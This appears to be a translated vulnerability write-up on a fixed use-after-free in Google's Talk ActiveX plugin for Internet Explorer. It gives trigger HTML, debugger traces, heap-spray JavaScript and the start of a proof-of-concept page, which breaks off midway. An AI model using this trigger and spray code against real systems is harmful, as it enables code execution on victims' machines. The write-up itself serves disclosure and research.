安全路透社
当前位置:安全路透社 > 安全客 > 正文

【漏洞分析】Google Hangouts ActiveX中的释放重引用漏洞

http://p6.qhimg.com/t011315fd76c90f76b0.jpg

翻译:胖胖秦

预估稿费:180RMB

,或登陆网页版

概要


在2015年,我发现了Google Hangouts使用的“Google Talk ActiveX插件”中存在释放重引用漏洞。

ActiveX是站点锁定的,这意味着它只能被Google的白名单域调用。要利用这一点,攻击者需要在这些域上触发一个XSS错误。

该错误已报告给Google,此后已修复。


ActiveX详细信息


在IE上安装Google Hangouts时,系统会安装“Google Talk ActiveX Plugin”控件。这个控件由浏览器调用并导出5个方法。

dispinterface GTalkPluginInterface {
    properties:
    methods:
        [id(0x60020000)]
        void send(in in BSTR str);
        [id(0x60020001),propput]
        void onmessage([in] VARIANT * rhs);
        [id(0x60020002),propget]
        BSTR version();
        [id(0x60020003),propget]
        BSTR wsconnectinfo();
        [id(0x60020004)]
        void wsconnectfailed([in] int port);
};

控件没有实现IObjectSafetySiteLock接口来将ActiveX锁定到某些域。

 C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}  
 SiteList: Utility to dump domain list from a site-locked ActiveX control.  
 [1ff8] No bp log location saved, using default.  
 [000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB  
 [000:000] [1ff8] Computer model: Not available  
 IObjectSafetySiteLock not implemented.

但是,测试显示ActiveX仅限于Google域。由于它不使用IObjectSafetySiteLock,我检查了它是否在Internet Explorer中被注册为浏览器助手对象。这样它就可以接收navigation 事件。从调试和逆向应用程序来看,我注意到ActiveX注册为浏览器助手对象。它公开了IObjectWithSite接口,它会创建一个Internet Explorer的连接点。通过这个,ActiveX可以获得正在使用的当前URL信息。

通过下面的C ++代码,我们创建对象的实例,并在IObjec tWithSite-> SetSite()之前创建一个断点。

 #include "stdafx.h"  
 #include "windows.h"  
 #include "OCIdl.h"  
 int _tmain(int argc, _TCHAR* argv[])  
 {  
      CoInitialize(NULL);   
      IUnknown *punk;  
      LPGUID pclsid;  
      HRESULT hr = NULL;  
      //{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}  
      static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };  
      if (FAILED(hr))  
     printf("error");  
      hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER,   
               IID_IUnknown, (void **)&punk);  
   if (FAILED(hr))  
     printf("error");  
    // Ask the ActiveX object for the IDispatch interface.  
      IObjectWithSite *pOSite;  
        hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);  
   if (FAILED(hr))  
     printf("error");  
      __asm  
      {  
           int 3;  
      }  
      //pOSite->GetSite( CLSID_GTALK, NULL);  
      pOSite->SetSite(NULL);  
      return 0;  
 }

然后我们可以使用调试器来步入函数并获取其地址。然后我们在Internet Explorer中断此地址,并使用HTML代码加载和调用控件。

控件实现SetSite,它由IE传递的一个对象调用。下面的代码是实现的一部分。URL由ECX参数传递。

0:007> u 5ca85c51  
 googletalkax+0x5c51:  
 5ca85c51 51       push  ecx  
 5ca85c52 50       push  eax  
 5ca85c53 e8d88f0000   call  googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)  
 5ca85c58 8bd8      mov   ebx,eax  
 5ca85c5a 83c408     add   esp,8  
 5ca85c5d 85db      test  ebx,ebx  
 5ca85c5f 7465      je   googletalkax+0x5cc6 (5ca85cc6)  
 5ca85c61 8b4e40     mov   ecx,dword ptr [esi+40h]  
 0:007> da poi(ecx)  
 1123efc0 "http://localhost:9000/testgoogle"  
 1123efe0 "talkactivexplugin.html"

通过该功能的深入了解,我们可以找到将当前域与列入白名单的域进行比较的代码。

 .text:5CA8CA20         cmp   [ebp+var_8], 10h  
 .text:5CA8CA24         lea   eax, [ebp+var_1C] ; holds the current domain name   
 .text:5CA8CA27         push  dword ptr [esi] ; holds whitelisted domain  
 .text:5CA8CA29         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CA2D         push  eax  
 .text:5CA8CA2E         call  sub_5CA957C0  
 .text:5CA8CA33         add   esp, 8  
 .text:5CA8CA36         test  al, al  
 .text:5CA8CA38         jnz   loc_5CA8CB37  
 .text:5CA8CA3E         add   esi, 4  
 .text:5CA8CA41         cmp   esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"  
 .text:5CA8CA47         jl   short loc_5CA8CA20

我们可以在调试器中使用断点来显示所有列入白名单的域。

 0:005> bl  
  0 e 5ca8ca2e   0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"  
 0:005> g  
 5cace2c4 "*hostedtalkgadget.google.com"  
 5cace2e4 "*mail.google.com"  
 5cace2f8 "*plus.google.com"  
 5cace30c "*plus.sandbox.google.com"  
 5cace328 "*talk.google.com"  
 5cace33c "*talkgadget.google.com"

以下是函数中另一条不会被命中的代码路径。此代码需要在控件中设置“ plugin_enable_corp_host ”标记。这可能是由Google内部使用。然后对其他主机执行其他检查。

 .text:5CA8CA9F         push  offset a_corp_google_c ; "*.corp.google.com"  
 .text:5CA8CAA4         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAA8         push  eax  
 .text:5CA8CAA9         call  sub_5CA957C0  
 .text:5CA8CAAE         add   esp, 8  
 .text:5CA8CAB1         test  al, al  
 .text:5CA8CAB3         jnz   short loc_5CA8CB0C  
 .text:5CA8CAB5         cmp   [ebp+var_8], 10h  
 .text:5CA8CAB9         lea   eax, [ebp+var_1C]  
 .text:5CA8CABC         push  offset a_prod_google_c ; "*.prod.google.com"  
 .text:5CA8CAC1         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAC5         push  eax  
 .text:5CA8CAC6         call  sub_5CA957C0  
 .text:5CA8CACB         add   esp, 8  
 .text:5CA8CACE         test  al, al  
 .text:5CA8CAD0         jnz   short loc_5CA8CB0C  
 .text:5CA8CAD2         cmp   [ebp+var_8], 10h  
 .text:5CA8CAD6         lea   eax, [ebp+var_1C]  
 .text:5CA8CAD9         push  offset a_googlegoro_co ; "*.googlegoro.com"  
 .text:5CA8CADE         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAE2         push  eax  
 .text:5CA8CAE3         call  sub_5CA957C0  
 .text:5CA8CAE8         add   esp, 8  
 .text:5CA8CAEB         test  al, al  
 .text:5CA8CAED         jnz   short loc_5CA8CB0C  
 .text:5CA8CAEF         cmp   [ebp+var_8], 10h  
 .text:5CA8CAF3         lea   eax, [ebp+var_1C]  
 .text:5CA8CAF6         push  offset a_googleplex_co ; "*.googleplex.com"  
 .text:5CA8CAFB         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAFF         push  eax  
 .text:5CA8CB00         call  sub_5CA957C0

corp.google.com和googleplex.com返回登录提示,似乎仅供Google员工使用。

prod.google.com是一个不存在的域,可能是一个内部域。


如何触发bug


“onmessage”函数接收一个VARIANT,该VARIANT需要一个JavaScript回调函数,该函数由控件调用。这可以通过以下代码测试。 

 <html>  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 <script>  
 sdr.onmessage = sdrcallback;  
 function sdrcallback(){  
      alert("callback function is called");  
 }  
 </script>  
 </html>

ActiveX控件中的回调函数可能会触发释放重引用漏洞。如果控件在调用回调函数之前没有调用AddRef(),则会发生这种情况。回调函数拥有对控件的引用,但控件并没有考虑这种情况。

我通过创建一个将删除控件的回调函数来测试这个场景。

 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <script>  
 sdr.onmessage = sdrcallback;  
 function sdrcallback(){  
      alert("callback function is called");  
      //delete div  
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
 }  
 </script>  
 <body>  
 sdr  
 </body>  
 bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"  
 </html>

我在调试器中遇到以下崩溃。

 (13b4.24a8): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0  
 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????

EDI寄存器指向无效的内存。

 0:008> r  
 eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0  
 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????  
 0:008> dd edi  
 407a2fb0 ???????? ???????? ???????? ????????  
 407a2fc0 ???????? ???????? ???????? ????????  
 407a2fd0 ???????? ???????? ???????? ????????  
 407a2fe0 ???????? ???????? ???????? ????????  
 407a2ff0 ???????? ???????? ???????? ????????  
 407a3000 ???????? ???????? ???????? ????????  
 407a3010 ???????? ???????? ???????? ????????  
 407a3020 ???????? ???????? ???????? ????????

进一步的分析表明,它指向已释放的内存。

 0:008> !heap -p -a edi  
   address 407a2fb0 found in  
   _DPH_HEAP_ROOT @ 161000  
   in free-ed allocation ( DPH_HEAP_BLOCK:     VirtAddr     VirtSize)  
                   40751ccc:     407a2000       2000  
   51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
   77691564 ntdll!RtlDebugFreeHeap+0x0000002f  
   7764ac29 ntdll!RtlpFreeHeap+0x0000005d  
   775f34a2 ntdll!RtlFreeHeap+0x00000142  
   75f514ad kernel32!HeapFree+0x00000014  
   13e88310 googletalkax!DllUnregisterServer+0x0001d9f0  
   13e6e407 googletalkax!DllUnregisterServer+0x00003ae7  
   13e6218a googletalkax+0x0000218a  
   13e6572f googletalkax+0x0000572f  
   61d0fe01 +0x0000001d  
   61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc  
   61d0d8ee MSHTML!CTxtSite::Release+0x0000001a  
   61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f  
   5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023  
   5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134  
   5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0  
   5e659750 jscript9!Recycler::DisposeObjects+0x0000004a  
   5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a  
   5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087  
   5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026  
   5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b  
   5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad  
   5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079  
   5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b  
   5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940  
   5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce

测试利用


下一步是检查错误的可利用性。我们需要用自己分配的内存替换释放的内存,看看数据是如何处理的,以测试它可以执行代码。

我用.dvalloc(https://msdn.microsoft.com/en-us/library/windows/hardware/ff562434%28v=vs.85%29.aspx  )来实现这一点。

我们看下面的代码,我们可以看到有一个路径导致代码执行。edi + 1ch指向的已释放内存放入EAX寄存器中。然后引用此内存,并将eax指向的数据放入ESI寄存器中。然后有一些其他操作和函数调用,之后调用ESI + 4。

 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch]  
 13e70ca8 8b30      mov   esi,dword ptr [eax] ds:002b:00000000=????????  
 13e70caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 13e70cb0 50       push  eax  
 13e70cb1 8d45e4     lea   eax,[ebp-1Ch]  
 13e70cb4 50       push  eax  
 13e70cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (13e79b30)  
 13e70cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch]  
 13e70cbd 83c408     add   esp,8  
 13e70cc0 50       push  eax  
 13e70cc1 ff5604     call  dword ptr [esi+4]

我们需要确保函数调用不会改变ESI寄存器的值,以确保我们有一条代码执行的路径。下面的windbg会话显示我如何分配新的内存来替换释放的内存,并通过这段代码来确保这个路径可以执行代码。

 (11cc.2728): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0  
 eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00010246  
 googletalkax!DllUnregisterServer+0x6385:  
 59d80ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????  
 0:008> .dvalloc 2000h  
 Allocated 2000 bytes starting at 0c690000  
 0:008> r @edi = 0c690000  
 0:008> dd edi+1c  
 0c69001c 00000000 00000000 00000000 00000000  
 0c69002c 00000000 00000000 00000000 00000000  
 0c69003c 00000000 00000000 00000000 00000000  
 0c69004c 00000000 00000000 00000000 00000000  
 0c69005c 00000000 00000000 00000000 00000000  
 0c69006c 00000000 00000000 00000000 00000000  
 0c69007c 00000000 00000000 00000000 00000000  
 0c69008c 00000000 00000000 00000000 00000000  
 0:008> p  
 eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6388:  
 59d80ca8 8b30      mov   esi,dword ptr [eax] ds:002b:00000000=????????  
 0:008> .dvalloc 200  
 Allocated 1000 bytes starting at 0cbd0000  
 0:008> r @eax = 0cbd0000  
 0:008> dd eax  
 0cbd0000 00000000 00000000 00000000 00000000  
 0cbd0010 00000000 00000000 00000000 00000000  
 0cbd0020 00000000 00000000 00000000 00000000  
 0cbd0030 00000000 00000000 00000000 00000000  
 0cbd0040 00000000 00000000 00000000 00000000  
 0cbd0050 00000000 00000000 00000000 00000000  
 0cbd0060 00000000 00000000 00000000 00000000  
 0cbd0070 00000000 00000000 00000000 00000000  
 0:008> p  
 eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x638a:  
 59d80caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 0:008> p  
 eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6390:  
 59d80cb0 50       push  eax  
 0:008> p  
 eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6391:  
 59d80cb1 8d45e4     lea   eax,[ebp-1Ch]  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6394:  
 59d80cb4 50       push  eax  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6395:  
 59d80cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (59d89b30)  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x639a:  
 59d80cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x639d:  
 59d80cbd 83c408     add   esp,8  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl nz ac pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000216  
 googletalkax!DllUnregisterServer+0x63a0:  
 59d80cc0 50       push  eax  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl nz ac pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000216  
 googletalkax!DllUnregisterServer+0x63a1:  
 59d80cc1 ff5604     call  dword ptr [esi+4]  ds:002b:00000004=????????  
 0:008> p  
 (11cc.2728): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.

这表明,如果我们可以将释放的内存替换为我们自己分配的内存,我们可以把它转换为代码执行。 


堆分配分析


在Gflags.exe中,我们启用“Create User Mode Stack Trace Database”。

我们需要在同一堆上分配相同块大小的内存,以便将其变成可利用的条件。首先,我们确定这个释放的内存分配在什么堆上。

我创建了以下HTML来通过IE在默认堆上喷射一些可控数据。

 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <script>  
 function sdrcallback(){  
      alert("callback function is called");  
      //delete div  
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
      alert(sdr);  
 }  
 //javapscript heap spray to see if we are on same heap as activeX  
 var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";  
 //s -u 0x00000000 L?0xffffffff seansean7  
 sdr.onmessage = sdrcallback;  
 </script>  
 <body></html>

我使用windbg来查看它分配的堆。

 (1348.18dc): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0  
 eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 14d10ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????  
 0:007> !heap -p -a edi  
   address 3dc19fb0 found in  
   _DPH_HEAP_ROOT @ 461000  
   in free-ed allocation ( DPH_HEAP_BLOCK:     VirtAddr     VirtSize)  
                   3dbe1ac4:     3dc19000       2000  
   5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
   77691564 ntdll!RtlDebugFreeHeap+0x0000002f  
   7764ac29 ntdll!RtlpFreeHeap+0x0000005d  
   775f34a2 ntdll!RtlFreeHeap+0x00000142  
   75f514ad kernel32!HeapFree+0x00000014  
   14d28310 googletalkax!DllUnregisterServer+0x0001d9f0  
   14d0e407 googletalkax!DllUnregisterServer+0x00003ae7  
   14d0218a googletalkax+0x0000218a  
   14d0572f googletalkax+0x0000572f  
   61d0fe01 +0x0000001d  
   61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc  
   61d0d8ee MSHTML!CTxtSite::Release+0x0000001a  
   61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f  
   5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023  
   5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134  
   5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0  
   5e659750 jscript9!Recycler::DisposeObjects+0x0000004a  
   5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a  
   5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087  
   5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026  
   5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b  
   5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad  
   5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079  
   5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b  
   5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940  
   5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce  
 0:007> s -u 0x00000000 L?0xffffffff seansean7  
 0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 0:007> !heap -p -a 0eebafa6  
   address 0eebafa6 found in  
   _DPH_HEAP_ROOT @ 461000  
   in busy allocation ( DPH_HEAP_BLOCK:     UserAddr     UserSize -     VirtAddr     VirtSize)  
                  eec0208:     eeba7f0       80c -     eeba000       2000  
   5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229  
   77690d96 ntdll!RtlDebugAllocateHeap+0x00000030  
   7764af0d ntdll!RtlpAllocateHeap+0x000000c4  
   775f3cfe ntdll!RtlAllocateHeap+0x0000023a  
   61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba  
   61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119  
   61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017  
   61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7  
   61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035  
   620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d  
   61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026  
   61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5  
   61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067  
   61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf  
   61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c  
   61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131  
   61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af  
   61de7f32 MSHTML!CHtmPost::Exec+0x000001e4  
   620b9a78 MSHTML!CHtmPost::Run+0x0000003d  
   620b99de MSHTML!PostManExecute+0x00000061  
   620c1e04 MSHTML!PostManResume+0x0000007b  
   61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e  
   61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d  
   61d0db16 MSHTML!GlobalWndProc+0x000002e5  
   751262fa user32!InternalCallWinProc+0x00000023  
   75126d3a user32!UserCallWinProcCheckWow+0x00000109  
   751277c4 user32!DispatchMessageWorker+0x000003bc  
   7512788a user32!DispatchMessageW+0x0000000f  
   6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464  
   636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b  
   7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c  
   5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094

我们现在知道,ActiveX控件和Javascript使用相同的Heap,这是一个好消息。


确定分配大小


现在我们已经确认控件和JavaScript使用相同的堆,我们需要确定释放对象的分配大小。

为此,我们需要禁用所有gflags设置,除了usermode stack dbs。

我们还需要在它崩溃的地址下断点。

bu googletalkax!DllUnregisterServer + 0x6385“!heap -p -a edi; g”
 70760ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07  
 0:005> !heap -p -a edi  
   address 078f8a28 found in  
   _HEAP @ 730000  
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state  
     078f8a10 000d 0000 [00]  078f8a28  00050 - (busy)  
      ? googletalkax!DllUnregisterServer+43db0

从这里我们可以看到释放的对象的大小是0x50字节。  


堆喷射


下一步是在与对象交互之前,使用堆喷射来覆盖已被释放的内存。为此,我们首先在Internet Explorer中初始化低碎片堆。我们申请分配大量相同大小的块来进行堆喷射。

我们通过以下JavaScript函数来实现。这将创建一个0x50字节的子字符串,减去用于BSTR对象的4字节对象头,减去unicode字符串的2个终止NULL字节。因为该值存储为Unicode字符串,所以此值将除以2。最后,字符串将在内存中保持正确的0x50字节。

 var largechunk = unescape("sean3");  
 var spray = new Array();  
 function dospray()  
 {  
      while (largechunk.length < 0x10000) largechunk += largechunk;  
      for (var i = 0; i < 0x200; i++)  
      {  
           spray[i] = largechunk.substring(0,(0x50-6)/2);  
      }  
 }

我们可以使用Corelan的DEPS喷射技术来实现精准的喷射。 (https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/  )。

这将喷射堆,并在0x20302228内存地址保存我们的数据。  

 function corelan_deps_spray()  
 {  
      var div_container = document.getElementById("corelanspraydiv");  
      div_container.style.cssText = "display:none";  
      junk = unescape("%u615d%u6161");  
      while (junk.length < 0x80000) junk += junk;  
      for (var i = 0; i < 0x500; i++)  
      {  
           var obj = document.createElement("button");  
           obj.title = junk;  
           div_container.appendChild(obj);  
      }  
 }

概念证明


有了这些信息,我们可以创建下面的概念验证代码,它将在我们选择的地址进行执行。 

 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <div id="corelanspraydiv"></div>  
 <script>  
 var largechunk = unescape("%u2030%u2228");  
 var spray = new Array();  
 function dospray()  
 {  
      while (largechunk.length < 0x10000) largechunk += largechunk;  
      for (var i = 0; i < 0x200; i++)  
      {  
           spray[i] = largechunk.substring(0,(0x50-6)/2);  
      }  
 }  
 function corelan_deps_spray()  
 {  
      var div_container = document.getElementById("corelanspraydiv");  
      div_container.style.cssText = "display:none";  
      junk = unescape("%u615d%u6161");  
